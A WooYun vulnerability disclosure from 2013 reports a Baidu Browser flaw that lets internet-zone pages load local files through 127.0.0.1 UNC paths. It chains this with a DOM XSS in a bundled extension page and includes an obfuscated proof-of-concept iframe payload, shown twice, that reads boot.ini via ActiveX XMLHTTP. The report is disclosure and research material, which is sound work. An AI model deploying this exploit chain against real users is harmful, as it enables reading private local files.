当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042156

漏洞标题:百度浏览器本地任意文件读取漏洞

相关厂商:百度

漏洞作者: 只抽红梅

提交时间:2013-11-06 17:23

修复时间:2013-12-21 17:23

公开时间:2013-12-21 17:23

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-06: 细节已通知厂商并且等待厂商处理中
2013-11-11: 厂商已经确认,细节仅向厂商公开
2013-11-21: 细节向核心白帽子及相关领域专家公开
2013-12-01: 细节向普通白帽子公开
2013-12-11: 细节向实习白帽子公开
2013-12-21: 细节向公众公开

简要描述:

百度浏览器在实现跨域方面存在缺陷导致该漏洞。

详细说明:

从 internet 域跨到 127.0.0.1 域会产生安全问题,所以目前大部分浏览器都进行了防御,但是百度浏览器在 IE 内核下却没有任何限制。
通过下面代码可以进行测试:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<meta http-equiv="x-ua-compatible" content="ie=8"/>
<title>SOP fuzz</title>
<body>
<script type="text/javascript">
</script>
file <br/>
<iframe src="file:///c:/fuzz/alert_1.html"></iframe>
<br/>
file unc <br/>
<iframe src="\\127.0.0.1\c$/fuzz/alert_2.html"></iframe>
<br/>
</body>
</html>


alert_1.html 和 alert_2.html 是我本地两个测试文件,通过任意 internet 域访问该页面可以发现 alert_2.html 中的代码执行了。说明百度浏览器对访问 file 域有限制,对访问 127.0.0.1 无限制。
其实到这里就是漏洞的全部,为了配合对这个漏洞进行利用,我们发现百度浏览器自带的这个页面 C:\Program Files\baidu\BaiduBrowser\resource\extension\security\safe_default.html 存在 dom xss。

function queryHash(h){
var data = (h.replace("#","")||"name=360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe360.exe&path=c:\profile\360.exe").split("&");
var obj = {};
for(var i=0,d;d=data[i];i++){
var r = d.split("=");
obj[r[0]] = r[1];
}
return obj;
}
var info = document.getElementById("info");
var obj = queryHash(decodeURIComponent(location.hash).replace("#", ""));
document.getElementById("name").innerHTML = obj.name;
document.getElementById("path").innerHTML = obj.path;


直接就用 innerHTML 写入从 URL 中取出的内容。
so,通过下面 poc,来读取本地文件:

<iframe src='\\127.0.0.1\c$/Program Files\baidu\BaiduBrowser\resource\extension\security\safe_default.html#name=xxx<script defer>eval(unescape(unescape("xmlhttp%253Dnew%2520ActiveXObject%2528%2522Msxml2.XMLHTTP.3.0%2522%2529%253Bxmlhttp.open%2528%2522GET%2522%252C%2522file%253A////127.0.0.1/c%2524/boot.ini%2522%252Cfalse%2529%253Bxmlhttp.send%2528%2529%253Balert%2528xmlhttp.responseText%2529%253B")))</script>&path=yyy'></iframe>

漏洞证明:

<iframe src='\\127.0.0.1\c$/Program Files\baidu\BaiduBrowser\resource\extension\security\safe_default.html#name=xxx<script defer>eval(unescape(unescape("xmlhttp%253Dnew%2520ActiveXObject%2528%2522Msxml2.XMLHTTP.3.0%2522%2529%253Bxmlhttp.open%2528%2522GET%2522%252C%2522file%253A////127.0.0.1/c%2524/boot.ini%2522%252Cfalse%2529%253Bxmlhttp.send%2528%2529%253Balert%2528xmlhttp.responseText%2529%253B")))</script>&path=yyy'></iframe>

修复方案:

1、限定 internet 域对 127.0.0.1 域的访问。

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-11-11 11:33

厂商回复:

感谢对百度安全的关注,安全组立即处理此问题。
--“百度,因你更安全”

最新状态:

暂无